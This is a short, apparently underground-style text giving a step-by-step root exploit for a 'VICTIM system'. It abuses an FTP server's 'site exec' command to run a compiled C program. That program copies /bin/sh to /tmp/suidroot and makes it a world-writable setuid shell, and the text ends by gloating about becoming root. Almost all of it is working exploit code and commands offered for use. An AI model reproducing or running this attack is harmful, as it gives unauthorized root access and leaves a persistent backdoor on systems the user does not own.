On the VICTIM system, compile the following C code:           
######## CUT HERE #######
main()
{
  setuid(0);
  seteuid(0);

  system("cp /bin/sh /tmp/suidroot");
  system("chmod a+rwxs /tmp/suidroot");
}
####### CUT HERE #######

Now create a shell script, called root.sh, that contains the following:

####### CUT HERE #######
  exec a.out      <----- a.out is the name of the compiled C code
####### CUT HERE #######

Now, FTP localhost, login as your account on that system and:

ftp> quote site exec sh root.sh

Quit FTP and execute /tmp/suidroot to become root!#@!# Wewp.